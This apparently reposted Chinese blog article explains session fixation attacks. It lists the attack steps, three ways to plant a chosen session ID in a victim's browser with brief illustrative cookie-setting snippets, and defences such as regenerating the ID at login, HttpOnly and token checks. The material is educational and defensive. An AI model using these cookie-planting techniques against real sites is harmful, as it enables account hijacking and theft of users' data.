       会话固定(Session fixation)是一种诱骗受害者使用攻击者指定的会话标识(SessionID)的攻击手段。这是攻击者获取合法会话标识的最简单的方法。会话固定也可以看成是会话劫持的一种类型,原因是会话固定的攻击的主要目的同样是获得目标用户的合法会话,不过会话固定还可以是强迫受害者使用攻击者设定的一个有效会话,以此来获得用户的敏感信息。
       攻击步骤:
       1、 攻击者通过某种手段重置目标用户的SessionID,然后监听用户会话状态;
       2、 目标用户携带攻击者设定的Session ID登录站点;
       3、 攻击者通过Session ID获得合法会话。

20160119140203442.jpg

 
 
      攻击者重置SessionID的方式:
      重置Session ID的方法同样也有多种,可以是跨站脚本攻击,如果是URL传递Session ID,还可以通过诱导的方式重置该参数,比如可以通过邮件的方式诱导用户去点击重置Session ID的URL,使用Cookie传递可以避免这种攻击。
       使用Cookie来存放Session ID,攻击者可以在以下三种可用的方法中选择一种来重置Session ID。
       1、 使用客户端脚本来设置Cookie到浏览器。大多数浏览器都支持用客户端脚本来设置Cookie的,例如document.cookie=”sessionid=123”,这种方式可以采用跨站脚本攻击来达到目的。防御方式可以是设置HttpOnly属性,但有少数低版本浏览器存在漏洞,即使设置了HttpOnly,也可以重写Cookie。所以还需要加其他方式的校验,如User-Agent验证,Token校验等同样有效。
       2、 使用HTML的<META>标签加Set-Cookie属性。服务器可以靠在返回的HTML文档中增加<META>标签来设置Cookie。例如<meta http-equiv=Set-Cookiecontent=”sessionid=123”>,与客户端脚本相比,对<META>标签的处理目前还不能被浏览器禁止。
       3、 使用Set-Cookie的HTTP响应头部设置Cookie。攻击者可以使用一些方法在Web服务器的响应中加入Set-Cookie的HTTP响应头部。如会话收养,闯入目标服务器所在域的任一主机,或者是攻击用户的DNS服务器。
       这里还有一点需要注意,攻击者如果持有的是有效的SessionID,那么防御措施就一定得校验验证。如攻击者可以先到目标站点登录,获得有效的Session ID,然后再拿这个Session ID去重置目标用户的会话标识,那么这时候用户将会在不知情的情况下访问攻击者设定的合法会话(实际上登录的是攻击者的账号了)中,从而攻击者将有可能获取到目标用户的敏感信息。
       防御方法:
       1、 用户登录时生成新的Session ID。如果攻击者使用的会话标识符不是有效的,那么这种方式将会非常有效。如果不是有效的会话标识符,服务器将会要求用户重新登录。如果攻击者使用的是有效的Session ID,那么还可以通过校验的方式来避免攻击。
       2、 大部分防止会话劫持的方法对会话固定攻击同样有效。如设置HttpOnly,关闭透明化Session ID,User-Agent验证,Token校验等。
 
四、附加
       http://www.php.net/manual/zh/session.security.php
       PHP官方提供的关于会话安全的文档,主要介绍了session安全设置项的作用,并建议开发人员应该合理启用可接受的安全设置项来保证会话安全。
       http://www.nowamagic.net/librarys/veda/detail/2078
       http://www.nowamagic.net/librarys/veda/detail/2079       关于会话数据安全的两篇博文。
 
文章转载来源:https://blog.csdn.net/h_MXC/article/details/50542038